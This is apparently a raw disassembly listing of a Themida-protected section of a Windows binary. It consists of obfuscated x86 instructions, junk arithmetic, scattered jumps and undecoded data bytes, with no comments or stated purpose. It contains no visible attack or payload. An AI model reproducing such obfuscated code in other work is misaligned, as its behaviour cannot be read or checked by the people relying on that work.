		jmp	loc_5537EC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 18233500h, 8B5A1738h, 0C483240Ch
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_554DF2
; ---------------------------------------------------------------------------


loc_550D2F:				; CODE XREF: Themida_:00551FA1j
		add	esp, 4
		xor	eax, 9811B78h
		mov	ecx, [esp]
		jmp	loc_557BD3
; ---------------------------------------------------------------------------
		db 80h
		dd 0F9E99AC3h, 81000024h, 693986EFh, 90EF810Dh,	31FF75CEh
		dd 2434FFF8h, 5DE9525Fh, 0BE000054h, 4,	875EF001h, 0E95C2404h
		dd 45F5h, 4BFh,	5FFE0100h, 0E9243487h, 3027h
; ---------------------------------------------------------------------------


loc_550D80:				; CODE XREF: Themida_:0055AED2j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_559FAE
; ---------------------------------------------------------------------------
		dd 552CD828h, 8025B151h, 0C8006EF1h, 2434FF59h,	4C4815Bh
		dd 68000000h, 6793h, 0E9241C89h, 7340h,	6796EF81h, 0F7015129h
		dd 6796C781h, 0C7815129h, 46351F18h, 243C875Eh,	0E924248Bh
		dd 7C75h, 0E9242C8Bh, 0A7A8h, 2C8BEE01h, 4C48124h, 0E9000000h
		dd 2019h, 54241C89h, 931DE95Bh,	0C1810000h, 6E553CFBh
		dd 2AB9E9h, 1C8B6600h, 50ED6824h, 4890000h, 0E9585424h
		dd 2373h, 627B60BEh, 3F4BD15h, 0C8E949E9h
		db 39h,	2 dup(0)
byte_550E1F	db 0FFh			; DATA XREF: Themida_:0054FC14o
a4SS		db '4$И s',0
		db 0
byte_550E27	db 66h			; DATA XREF: Themida_:0054FBE4o
		dd 8324048Bh, 348904ECh, 525E5424h, 7E93E9h
		db 0
byte_550E39	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0054FC6Co
		dd 0B7535052h, 8053662Bh, 101246Ch, 0ACE95B66h,	55000062h
		dd 0BB535D54h, 7E2B3255h, 7AD5E381h, 0C38155ACh, 6514193Ch
		dd 0E5B951h, 0F1816B8Ah, 65A0486Fh, 23AEE181h, 0E1C11FC2h
		dd 0CE95006h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550E7F:				; CODE XREF: Themida_:00551E6Cj
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, 48744AA5h
		jmp	loc_5576B1
; ---------------------------------------------------------------------------


loc_550E8D:				; CODE XREF: Themida_:0055B6DFj
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5559B2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34FF2424h, 39685A24h, 89000061h, 4B682434h, 5400004Dh
		dd 0E924048Fh, 42FEh
; ---------------------------------------------------------------------------


loc_550EB4:				; CODE XREF: Themida_:00552F44j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		push	4CD2h
		mov	[esp], ecx
		push	7797h
		jmp	loc_553CB1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSa_0		db '$Иa/',0
		align 2
word_550EDA	dw 8B66h		; DATA XREF: Themida_:0054FC7Co
		dd 0EC812404h, 4, 54243489h, 8324348Bh,	7FE904C4h, 5D000061h
		dd 7409E9h
		db 0
byte_550EF9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FB6Co
aHxf		db '$hXF',0
		align 2
		dw 1489h
		dd 53E28924h, 668BD55h,	0ED813AD4h, 7B880535h, 5F55ED81h
		dd 0ED812089h, 5F541EABh, 0B151C581h, 0C4E937FCh
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550F2B:				; CODE XREF: Themida_:00556B4Cj
		mov	esi, esp
		push	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 422922EDh
		mov	eax, edi
		pop	edi
		xor	eax, 32C90F63h
		shr	eax, 4
		dec	eax
		not	eax
		or	eax, 23CE1C19h
		dec	eax
		add	eax, 40002CCh
		push	ecx
		mov	ecx, 463F128Dh
		jmp	loc_5568C0
; ---------------------------------------------------------------------------
aWsi		db 'WИ╘=',0
		db 0
; ---------------------------------------------------------------------------


loc_550F63:				; CODE XREF: Themida_:0055831Ej
		push	eax
		jmp	loc_5500D9
; ---------------------------------------------------------------------------
aGscz		db 'GИФ┤',0
		db 0
; ---------------------------------------------------------------------------


loc_550F6F:				; CODE XREF: Themida_:00558621j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_550F78:				; CODE XREF: Themida_:00552819j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	eax
		push	ecx
		push	edi
		mov	edi, 9C94887h
		xor	edi, 335D245Bh
		inc	edi
		dec	edi
		shl	edi, 2
		sub	edi, 0AC1A54C3h
		mov	ecx, edi
		pop	edi
		jmp	loc_557929
; ---------------------------------------------------------------------------
		dd 4EC81h, 20E90000h, 55000088h, 601A6851h, 0E95969C3h
		dd 5316h
dword_550FC8	dd 9D1C77FFh, 11665866h, 0E99C2404h, 1A1Ch, 0FFEE36E9h
					; DATA XREF: Themida_:0054FC98o
		dd 4BAFFh, 0D3010000h, 241C335Ah, 33241C31h, 1CE9241Ch
		dd 8B00004Fh, 89562404h, 0EE45E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550FFE:				; CODE XREF: Themida_:00552D14j
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_55A7F8
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EC81h, 0A2E90000h, 8B000053h, 0C483240Ch, 8BF82804h
		dd 0D2E9241Ch, 0BB00004Bh, 4, 3A5FEE81h, 0DE010413h, 3A5FC681h
		dd 31E90413h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551047:				; CODE XREF: Themida_:0055C13Fj
		mov	ebp, eax
		jmp	loc_55BAF5
; ---------------------------------------------------------------------------


loc_55104E:				; CODE XREF: Themida_:005580B3j
		or	ebx, 588A55FCh
		push	ebp
		jmp	loc_55ADC9
; ---------------------------------------------------------------------------
		dw 86B8h
		dd 48294E7Eh, 4E7E8135h, 0C8ED8129h, 104BF3Fh, 0C8C581C5h
		dd 8B04BF3Fh, 0C4832404h, 332DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55107E:				; CODE XREF: Themida_:00552CDBj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_557CA6
; ---------------------------------------------------------------------------
byte_55108D	db 0ACh, 2Ch, 5Ch	; DATA XREF: Themida_:0054FBB4o
		dd 6866D828h, 89663981h, 89E92414h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55109F:				; CODE XREF: Themida_:005569C9j
		mov	ebp, 4AD0023Ah
		xor	ebp, 6CDD32FDh
		mov	ebx, 513B381Bh
		jmp	loc_55508E
; ---------------------------------------------------------------------------
		dd 4BFh, 5AB0E900h, 0EF810000h,	0F7469741h, 90CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5510C9:				; CODE XREF: Themida_:005559B8j
		add	edx, 230E11E1h
		add	edx, eax
		jmp	loc_554627
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 6A5F6462h, 30E95E5Dh, 80FFFFEDh, 0F30027C6h,	8D2E9h
		dd 241C8900h, 4BBh, 5BD90100h, 949E957h, 81580000h, 32952EBh
		dd 81D30127h, 32952C3h,	2434FF27h, 6E9555Ah
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551117:				; CODE XREF: Themida_:0055A1A1j
		pop	esi
		sub	edx, 4
		push	5CA7h
		jmp	loc_55B212
; ---------------------------------------------------------------------------


loc_551128:				; CODE XREF: Themida_:00556A03j
		xor	eax, edx
		push	2D02h
		mov	[esp], edx
		xchg	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_550CFF
; ---------------------------------------------------------------------------
word_55114A	dw 77FFh		; DATA XREF: Themida_:0054FCF4o
		dd 0ECC1E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551152:				; CODE XREF: Themida_:00556FC7j
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_5532EE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 4244401h,	1A66E958h, 54500000h, 4EC8358h,	0E9243489h
		dd 0FFFFFB35h, 74D4ED81h, 61E91779h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551183:				; CODE XREF: Themida_:00554F1Ej
		add	edi, 4
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	3EB313CBh
		pop	edi
		xor	edi, 4DA42505h
		push	edx
		push	esi
		mov	esi, 76A8757Fh
		push	ebx
		mov	ebx, esi
		mov	edx, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		add	edx, 6EC12ED5h
		push	edi
		push	ebp
		mov	ebp, 1D0548Bh
		mov	edi, ebp
		pop	ebp
		or	edx, edi
		pop	edi
		jmp	loc_5546ED
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 4215C24h, 3CE99C24h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5511D7:				; CODE XREF: Themida_:00556E2Aj
		push	edx
		push	edi
		jmp	loc_5583B3
; ---------------------------------------------------------------------------
a1iSM		db '1К]И╩▄',0
		align 2


loc_5511E6:				; CODE XREF: Themida_:0055928Fj
		pop	ebp
		mov	ecx, edx
		jmp	loc_554FCB
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 9FCAE9h, 0E9F9F600h, 67B5h, 12906850h, 2D580660h
		dd 294A6A9Ch, 9E40D62Dh, 0BFBE560Ah, 0C12F6E26h, 0F68105EEh
		dd 0BC1D5929h, 0E95EF031h, 76FDh
; ---------------------------------------------------------------------------


loc_551228:				; CODE XREF: Themida_:0055B979j
		sub	edi, 1774B00h
		add	edi, 0F02840h
		add	ebp, 4F9077C1h
		sub	ebp, edi
		jmp	loc_55B9DF
; ---------------------------------------------------------------------------


loc_551241:				; CODE XREF: Themida_:0055ACA0j
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_55C180
		sub	esp, 4
		mov	[esp], edi
		push	5154F36h
		pop	edi
		push	7962h
		jmp	loc_559CBA
; ---------------------------------------------------------------------------
aSt?		db '[Иt?',0
		align 2


loc_55126E:				; CODE XREF: Themida_:00554003j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_5513A3
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0C8h
		dd 0E91ED266h, 8C3h
; ---------------------------------------------------------------------------


loc_551288:				; CODE XREF: Themida_:0055AC41j
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		push	esp
		pop	ebx
		push	edx
		push	eax
		mov	eax, 1D094433h
		mov	edx, eax
		jmp	loc_555EBF
; ---------------------------------------------------------------------------


loc_55129D:				; CODE XREF: Themida_:00553A84j
		neg	ebx
		and	ebx, 69E40ADBh
		xor	ebx, 0F207B7h
		jmp	loc_557461
; ---------------------------------------------------------------------------
		dd 9C2404FFh, 0FFEB5AE9h, 4EA83FFh, 5C241487h, 68240C89h
		dd 0
		dd 87F92959h, 0E78159CFh, 1C881C72h, 2EE9D7F7h,	5900008Bh
		dd 5318E9h
		db 0
; ---------------------------------------------------------------------------


loc_5512E1:				; CODE XREF: Themida_:00553840j
		xchg	ecx, [esp]
		jmp	loc_55BC08
; ---------------------------------------------------------------------------


loc_5512E9:				; CODE XREF: Themida_:005568FFj
		push	ebx
		jmp	loc_5504E0
; ---------------------------------------------------------------------------
		db 0B7h
		dd 1DB4DAh, 21E95BFCh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5512FB:				; CODE XREF: Themida_:0055BAD4j
		not	eax
		xchg	eax, [esp]
		pop	edi
		jmp	loc_55212A
; ---------------------------------------------------------------------------
		dw 7709h
		dd 4E95E1Ch, 0B3FFFFEBh, 97B652CFh, 0B2E9D6F6h,	50000007h
		dd 4B8h, 140DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551326:				; CODE XREF: Themida_:0055176Aj
		neg	edi
		shr	edi, 4
		jmp	loc_5536D8
; ---------------------------------------------------------------------------
aZSZ		db '╬Z|╨',9,'И;╖',0
		align 2


loc_55133A:				; CODE XREF: Themida_:0055AA47j
		mov	ch, al
		mov	dh, ch
		pop	ecx
		push	ecx
		mov	cl, dh
		mov	[ebx], cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558608
; ---------------------------------------------------------------------------
aSs5d		db '\SИ5D',0
		dd 630DB900h, 0D1F73616h, 0BEE98141h, 81225A47h, 175559E9h
		dd 0F1814945h, 6277FFDFh, 90DCE9h, 48F5A00h, 0D3665C24h
		dd 0E99C2424h, 0FFFFEA8Bh
; ---------------------------------------------------------------------------


loc_551388:				; CODE XREF: Themida_:005536CCj
		xor	edx, 9041C240h
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5500C5
; ---------------------------------------------------------------------------


loc_5513A2:				; CODE XREF: Themida_:0055A477j
		pop	esp


loc_5513A3:				; CODE XREF: Themida_:00551278j
					; Themida_:0055ABECj
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		push	76C1h
		mov	[esp], ecx
		mov	ecx, 7135628Eh
		shr	ecx, 3
		xor	ecx, 0E26AC55h
		add	ebp, ecx
		jmp	loc_55421F
; ---------------------------------------------------------------------------
byte_5513C7	db 0ACh			; DATA XREF: Themida_:0054FB7Co
		dd 38040504h, 382CD828h, 5B15166h, 0B6525166h, 40B050DDh
		dd 0D0F67804h, 0C6303634h, 8EF9E9h, 53E18900h, 4BBh, 8BD90100h
		dd 8950241Ch, 405E0h, 0C0830000h, 24048704h, 0FFF36FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551409:				; CODE XREF: Themida_:0054FEA8j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5540B2
; ---------------------------------------------------------------------------


loc_551414:				; CODE XREF: Themida_:005537E7j
		mov	al, [esp]
		add	esp, 4
		xor	al, 0F2h
		jmp	loc_5528CE
; ---------------------------------------------------------------------------
byte_551421	db 68h,	83h, 39h	; DATA XREF: Themida_:0054FC4Co
		dd 34890000h, 27D7BE24h, 0E9514FF3h, 23DBh, 0FFE9DAE9h
		dd 0E9E689FFh, 6146h, 113F5105h, 1BE33500h, 0C501CBF2h
		dd 0F7B85058h, 0E9095D62h, 0FFFFE9E2h, 0E288C4FEh, 0CE95866h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551463:				; CODE XREF: Themida_:00554CF5j
		pop	ecx
		jmp	loc_55A514
; ---------------------------------------------------------------------------


loc_551469:				; CODE XREF: Themida_:0055BEBAj
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_551C38
; ---------------------------------------------------------------------------


loc_551476:				; CODE XREF: Themida_:00555382j
		mov	edi, 2A904294h
		and	ebx, edi
		pop	edi
		add	ebx, 76F04C3h
		jmp	loc_559669
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0F5h
		dd 28C6C581h, 348B10B3h, 0A72FE924h, 295B0000h,	242C8BEFh
		dd 0FD04C483h, 89BAE950h
		db 2 dup(0)
word_5514AA	dw 0C8Bh		; DATA XREF: Themida_:0054FBB0o
aSk		db '$ИK;',0
		align 2


loc_5514B2:				; CODE XREF: Themida_:0055BC46j
		neg	ecx
		add	ecx, 5FB78D2Bh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	eax
		neg	eax
		jmp	loc_555754
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0A210h, 875AD729h, 895C243Ch, 68BB241Ch
		dd 0C131DE23h, 73E907E3h, 880000A7h, 0CA805BDAh, 82E280D7h
		dd 5CF76866h, 24048966h, 0B458B252h, 5AD4281Ah,	95A3E9h
		dd 24740100h, 0E95E04h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551513:				; CODE XREF: Themida_:0054FEAEj
		add	edx, 23616D62h
		jmp	loc_5527AC
; ---------------------------------------------------------------------------


loc_55151E:				; CODE XREF: Themida_:0055846Aj
		mov	ebp, [esp]
		add	esp, 4
		sub	[esp+4], ebp
		pop	ebp
		push	ebp
		jmp	loc_557977
; ---------------------------------------------------------------------------
		db 89h
		dd 0D388241Ch, 1C8BDC88h, 4C48124h, 0F6000000h,	0AEE951D4h
		db 6Ch,	2 dup(0)
byte_551547	db 64h			; DATA XREF: Themida_:0054FBBCo
		dd 0E9028B66h, 875Eh, 7538DC05h, 4EC8177h, 89000000h, 0B8502414h
		dd 584646F2h, 1BD55h, 0E8010000h, 65FA685Dh, 3C890000h
		dd 6333BF24h, 0F83166C7h, 58C2895Fh, 5104E2C1h,	2118B1B9h
		dd 8BCA3129h, 0E2E9240Ch
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551593:				; CODE XREF: Themida_:00559C2Bj
		push	edi
		jmp	loc_554691
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 6Fh
		dd 4A4F8E6Bh, 0D2F7D2F7h, 5501EA83h, 3E6668h, 243C8900h
		dd 5F2AAEBFh, 5FFD8945h, 29F3E9h, 0A3E95200h
		db 93h,	2 dup(0)
byte_5515C3	db 8Bh			; DATA XREF: Themida_:0054FB70o
		dd 0EC812404h, 4, 89240489h, 405E0h, 0EC830000h, 0F3B2E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5515DE:				; CODE XREF: Themida_:005502D9j
		add	ebp, 5254A41h
		jmp	loc_556103
; ---------------------------------------------------------------------------
		db 30h,	0D1h, 0E9h
		dd 3EF4h, 4BEh,	5EF30100h, 0C3EE9h, 0EE95000h, 89000055h
		dd 3FBE56E3h, 516D1708h, 0CD0F73B9h, 242FE907h
		db 2 dup(0)
word_551616	dw 34FFh		; DATA XREF: Themida_:0054FD18o
		dd 2434FF24h, 0A7A2E9h,	5BD98900h, 0C8BCB89h, 4C48124h
		dd 0BD000000h, 60B7A5F7h, 1C8BDD29h, 1930E924h
		db 2 dup(0)
word_55163E	dw 8B66h		; DATA XREF: Themida_:0054FC28o
		dd 31682404h, 89000040h, 6B68240Ch, 0E900007Ch,	80E6h
		dd 0DCB96651h, 648DE943h, 0C4830000h, 30FF6604h, 0FFE7AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551669:				; CODE XREF: Themida_:00555D82j
		sub	eax, ebp
		pop	ebp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_556186
; ---------------------------------------------------------------------------
byte_551675	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FD58o
		dd 4EC8324h, 89243C89h,	4B951E7h, 0E9000000h, 5739h
; ---------------------------------------------------------------------------


loc_55168C:				; CODE XREF: Themida_:0055BE42j
		add	esp, 4
		jmp	loc_55BA3E
; ---------------------------------------------------------------------------
		dd 0C330D0B0h, 24048B66h, 2C481h, 0CBFE0000h, 0EB30CBFEh
		dd 0EB30DD30h, 0EB30D5F6h, 0B3E9DD30h, 0B9000097h, 0DB66D70h
		dd 8959CF31h, 9552E9F8h, 0E1D10000h, 3053E9h, 0FDE95D00h
		dd 0FF000065h, 148B2434h, 4C48324h, 3C8B5457h, 4C48124h
		dd 81000000h, 4C7h, 4C78100h, 33000000h, 3C31243Ch, 9AFDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5516FE:				; CODE XREF: Themida_:00555E09j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5563A4
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B4h
		dd 66E728B6h, 5BF82858h, 71E95504h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55171B:				; CODE XREF: Themida_:005595E1j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6EE5613Dh
		not	ebp
		push	edx
		mov	edx, 0CDACC068h
		xor	ebp, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 390715Dh
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 30194B44h
		jmp	loc_551326
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704EBh, 4895C24h,	31585A24h, 2434FFD0h, 8324148Bh
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_5534F8
; ---------------------------------------------------------------------------


loc_55179F:				; CODE XREF: Themida_:00554FF8j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_557F7C
; ---------------------------------------------------------------------------
		db 5Bh,	0C1h, 0EDh
		dd 4E5C104h, 4C78E581h,	0EDC17BABh, 82BB5307h, 3100A352h
		dd 0C6815BDDh, 355E6B27h, 0EE81EE01h, 355E6B27h, 6F9DE9h
		dd 80D5F600h, 0EDC06DF5h, 9FADE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5517E6:				; CODE XREF: Themida_:0055561Aj
		and	ebp, 7BC72014h
		dec	ebp
		not	ebp
		jmp	loc_55B252
; ---------------------------------------------------------------------------
		dd 1E068h, 24048900h, 405E089h,	56000000h, 1C8DBF57h, 4AE96E42h
		dd 0D100004Ch, 4FF52E2h, 431FE924h, 8B5F0000h, 0C483241Ch
		dd 0F9E98104h, 816A9B2Eh, 0D7580FC9h, 4EC815Fh,	89000000h
		dd 487240Ch, 0E9D0F724h, 3079h,	2D5DE801h, 3DC27953h, 2EBB68h
		dd 0EC85E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551852:				; CODE XREF: Themida_:0055BEB0j
		sub	ebx, esi
		pop	esi
		pop	ebp
		push	eax
		jmp	loc_55734C
; ---------------------------------------------------------------------------
		dd 41ADBB53h, 0A4E90576h, 8100001Dh, 0C72134C5h, 3CC7E910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551872:				; CODE XREF: Themida_:00559BE9j
		mov	eax, esi
		push	ecx
		mov	ecx, eax
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55C175
; ---------------------------------------------------------------------------
		dd 185BBA52h, 814A5ACBh, 1E2292F2h, 6EF2810Ch, 0E97CA228h
		dd 8BB2h, 2C281h, 1CE90000h, 1000037h, 0C3835EF3h, 241C8704h
		dd 2C1835Ch, 31240C33h,	34E9240Ch, 50000015h, 2B8h, 9DC58100h
		dd 0E944FA45h, 844Ch, 86CE2BFh,	55DFF744h, 629EE9h, 24348B00h
		dd 4C481h, 3E90000h, 0F700005Bh, 4E7C1D7h, 555DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5518F5:				; CODE XREF: Themida_:005543E5j
		push	edx
		mov	dh, ah
		mov	bl, dh
		jmp	loc_55AA94
; ---------------------------------------------------------------------------
		db 86h
		dd 80F680FEh, 8058E600h, 0DE005CC6h, 5B5CEE80h,	0C046B252h
		dd 95E904E2h, 8900006Ch, 7668243Ch, 8B2AB516h, 0C481243Ch
		dd 4, 7F61F781h, 0EF811E00h, 0A9F1012h,	58CDEF81h, 0FB892A16h
		dd 2EEB815Fh, 81081B73h, 666009EBh, 81D3017Eh, 666009C3h
		dd 2EC3817Eh, 0C7081B73h, 3, 241C8B00h,	294568h, 242C8900h
		dd 0C5815D54h, 4, 4C581h, 2C870000h, 24248B24h,	6856h
		dd 0BEE90000h, 80000015h, 0EB28BAEDh, 0C49E9h, 24348B00h
		dd 5204C483h, 42474FFh,	24048F5Ah, 8555E95Ch, 0E6800000h
		dd 46E0E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5519B2:				; CODE XREF: Themida_:0055BECFj
		push	edx
		jmp	loc_55BA0A
; ---------------------------------------------------------------------------
dword_5519B8	dd 0FFE95066h, 5A0000A2h, 604FE9h, 24043300h, 6624248Bh
					; DATA XREF: Themida_:0054FBE8o
		dd 9C240431h, 0FFE43EE9h, 55E1F7FFh, 4EC81h, 24890000h
		dd 24048124h, 4, 0E9242C8Bh, 0A4EEh, 52D8285Bh,	6BE9D5B2h
		db 0E7h, 2 dup(0FFh)
byte_5519FB	db 68h			; DATA XREF: Themida_:0054FCD8o
		dd 6967h, 68240C89h, 3Ch, 6E8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_551A0D:				; CODE XREF: Themida_:00555975j
		add	esp, 4
		push	ebx
		jmp	loc_554757
; ---------------------------------------------------------------------------
word_551A16	dw 8B66h		; DATA XREF: Themida_:0054FC38o
		dd 6857240Ch, 3992h, 9248E9h, 99E95B00h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551A2B:				; CODE XREF: Themida_:0055A2B6j
		add	eax, edi
		xor	[eax], edx
		pop	eax
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		jmp	loc_555033
; ---------------------------------------------------------------------------


loc_551A3D:				; CODE XREF: Themida_:00553F57j
		pop	esp
		mov	[esp], edx
		push	esi
		jmp	loc_558093
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 875FF901h, 815C240Ch, 4C3h, 4C38100h, 87000000h
		dd 8B5C241Ch, 0A1682404h, 89000002h, 0FF54241Ch, 84E92434h
		dd 68000052h, 0CD4h, 0FF242C89h, 0E9042474h, 49D8h, 0D0005B59h
		dd 0E92434FFh, 12DCh, 125BE959h, 0C1810000h, 4,	0E9240C87h
		dd 0FFFFF8AAh
; ---------------------------------------------------------------------------


loc_551AA8:				; CODE XREF: Themida_:00558F12j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 47025318h
		jmp	loc_554121
; ---------------------------------------------------------------------------
word_551AB6	dw 0F766h		; DATA XREF: Themida_:0054FB84o
		dd 0E99C241Ch, 0FFFFE353h, 42474FFh, 592434FFh,	792CE9h
		dd 0E9C6FE00h, 2761h
; ---------------------------------------------------------------------------


loc_551AD4:				; CODE XREF: Themida_:0055741Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55A166
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81592434h, 4C4h, 0EE95000h, 960000A4h, 9DCE81h, 0EE810FF8h
		dd 0C320C993h, 295EF329h, 0CC381C3h, 662CD91Ch,	6600B60Fh
		dd 66416868h, 0E9240489h, 6E1Bh, 0E9A6B252h, 6FCDh, 68FFE980h
		dd 5082h, 0E9240489h, 6115h, 0E924248Bh, 0FFFFF6BDh, 8002E1C0h
		dd 52500CC1h, 0AE92DB6h, 8100000Eh, 0F9B88DF7h,	152AE9B5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B56:				; CODE XREF: Themida_:0055C0EDj
		inc	ecx
		add	ecx, 0AE8BF8Dh
		sub	eax, ecx
		pop	ecx
		jmp	loc_556928
; ---------------------------------------------------------------------------
		db 57h,	89h, 0CFh
		dd 8B5FFD89h, 0C481240Ch, 4, 367CCD81h,	0EDC17F87h, 93C58107h
		dd 0E9FF0051h, 0FFFFF250h
; ---------------------------------------------------------------------------


loc_551B88:				; CODE XREF: Themida_:00552BBBj
		mov	ebp, 5CBA0448h
		sub	[esp+4], ebp
		pop	ebp
		pop	eax
		push	edx
		mov	edx, 454D112Fh
		and	edx, 216F37FDh
		dec	edx
		jmp	loc_55BB5B
; ---------------------------------------------------------------------------


loc_551BA5:				; CODE XREF: Themida_:005577B8j
		mov	eax, 4
		jmp	loc_559677
; ---------------------------------------------------------------------------
		db 5Ch
		dd 31240C33h, 3DE9240Ch, 83000022h, 343304C6h, 24343124h
		dd 5C243433h, 0B60FC330h, 148B66C0h, 0E1895124h, 4C181h
		dd 0BB530000h, 2, 0B45C181h, 58E97105h,	51FFFFEAh, 0CB30B0B1h
		dd 0FFEFF5E9h, 0B35352FFh, 5BDE88C3h, 5103E6C0h, 0C080B450h
		dd 0F48004E4h, 5E4C0F0h, 8090EC80h, 0E5882AF4h,	0C0F58058h
		dd 0CDFEC5FEh, 800FE580h, 0E580C7F5h, 1EED8079h, 0ED80C5FEh
		dd 8F58076h, 0E9E4F580h, 3036h
; ---------------------------------------------------------------------------


loc_551C38:				; CODE XREF: Themida_:00551471j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55B312
; ---------------------------------------------------------------------------
		db 8
		dd 0EE8058E6h, 350419h,	0E9352CF0h, 0A1Ch
; ---------------------------------------------------------------------------


loc_551C54:				; CODE XREF: Themida_:0055B8A5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	eax
		jmp	loc_558592
; ---------------------------------------------------------------------------
		dw 3487h
		dd 3C875C24h, 24248B24h, 8B2434FFh, 0C481240Ch,	4, 4EC8355h
		dd 24048F54h, 4240483h,	4BF575Dh, 1000000h, 0EC815FFDh
		dd 4, 0BF243C89h, 4, 6D85E9h
		db 0
byte_551CB5	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054FCD4o
		dd 0D259669Dh, 0E99C241Ch, 0FFFFE14Fh
; ---------------------------------------------------------------------------


